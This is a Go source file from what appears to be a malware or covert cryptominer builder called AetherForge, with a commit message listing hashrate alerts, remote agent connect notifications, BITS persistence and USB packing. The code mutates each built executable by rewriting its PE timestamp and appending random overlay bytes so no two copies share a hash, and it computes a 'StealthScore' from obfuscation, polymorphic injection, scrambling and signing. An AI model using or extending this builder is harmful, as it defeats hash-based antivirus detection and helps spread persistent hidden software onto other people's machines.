- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
121 lines
2.7 KiB
Go
121 lines
2.7 KiB
Go
package builder
|
||
|
||
import (
|
||
"crypto/sha256"
|
||
"encoding/binary"
|
||
"encoding/hex"
|
||
"fmt"
|
||
"hash/fnv"
|
||
"io"
|
||
"math/rand"
|
||
"os"
|
||
"path/filepath"
|
||
"strings"
|
||
"time"
|
||
)
|
||
|
||
const sigilOverlayMagic = "AFSC\x01"
|
||
|
||
// ApplySigilScramble mutates the built binary so each dispense has a unique on-disk
|
||
// signature (overlay entropy + optional PE timestamp). Does not change runtime logic.
|
||
func ApplySigilScramble(path, buildID string) (fingerprint string, err error) {
|
||
if path == "" {
|
||
return "", fmt.Errorf("empty path")
|
||
}
|
||
data, err := os.ReadFile(path)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
if len(data) == 0 {
|
||
return "", fmt.Errorf("empty binary")
|
||
}
|
||
|
||
seed := strings.TrimSpace(buildID)
|
||
if seed == "" {
|
||
seed = fmt.Sprintf("%d", time.Now().UnixNano())
|
||
}
|
||
rng := scrambleRNG(seed)
|
||
|
||
if isPEExecutable(path, data) {
|
||
data = patchPETimestamp(data, rng)
|
||
}
|
||
|
||
overlay := buildSigilOverlay(seed, rng)
|
||
data = append(data, overlay...)
|
||
|
||
if err := os.WriteFile(path, data, 0755); err != nil {
|
||
return "", err
|
||
}
|
||
|
||
sum := sha256.Sum256(data)
|
||
fingerprint = hex.EncodeToString(sum[:8])
|
||
return fingerprint, nil
|
||
}
|
||
|
||
func isPEExecutable(path string, data []byte) bool {
|
||
if !strings.EqualFold(filepath.Ext(path), ".exe") {
|
||
return false
|
||
}
|
||
return len(data) > 64 && data[0] == 'M' && data[1] == 'Z'
|
||
}
|
||
|
||
// patchPETimestamp adjusts the COFF header timestamp (bytes 8-11 after MZ).
|
||
func patchPETimestamp(data []byte, rng *rand.Rand) []byte {
|
||
out := make([]byte, len(data))
|
||
copy(out, data)
|
||
peOff := int(binary.LittleEndian.Uint32(out[0x3c:0x40]))
|
||
if peOff < 0 || peOff+8 > len(out) {
|
||
return out
|
||
}
|
||
if string(out[peOff:peOff+4]) != "PE\x00\x00" {
|
||
return out
|
||
}
|
||
ts := uint32(time.Now().Unix()) ^ uint32(rng.Intn(1<<20))
|
||
binary.LittleEndian.PutUint32(out[peOff+8:peOff+12], ts)
|
||
return out
|
||
}
|
||
|
||
func buildSigilOverlay(seed string, rng *rand.Rand) []byte {
|
||
padLen := 8192 + rng.Intn(57344)
|
||
buf := make([]byte, len(sigilOverlayMagic)+len(seed)+2+padLen)
|
||
copy(buf, sigilOverlayMagic)
|
||
buf[len(sigilOverlayMagic)] = byte(len(seed) & 0xff)
|
||
copy(buf[len(sigilOverlayMagic)+1:], []byte(seed))
|
||
off := len(sigilOverlayMagic) + 1 + len(seed)
|
||
for i := 0; i < padLen; i++ {
|
||
buf[off+i] = byte(rng.Intn(256))
|
||
}
|
||
return buf
|
||
}
|
||
|
||
func scrambleRNG(seed string) *rand.Rand {
|
||
h := fnv.New64a()
|
||
_, _ = io.WriteString(h, seed)
|
||
return rand.New(rand.NewSource(int64(h.Sum64())))
|
||
}
|
||
|
||
// StealthScore estimates how many uniqueness layers were applied (0–100).
|
||
func StealthScore(obfuscated, scrambled, signed bool) int {
|
||
score := 35 // polymorph is always injected at compile time
|
||
if obfuscated {
|
||
score += 30
|
||
}
|
||
if scrambled {
|
||
score += 20
|
||
}
|
||
if signed {
|
||
score += 15
|
||
}
|
||
if score > 100 {
|
||
return 100
|
||
}
|
||
return score
|
||
}
|
||
|
||
func shouldSigilScramble(req *BuildRequest) bool {
|
||
if req.SigilScramble {
|
||
return true
|
||
}
|
||
return false
|
||
}
|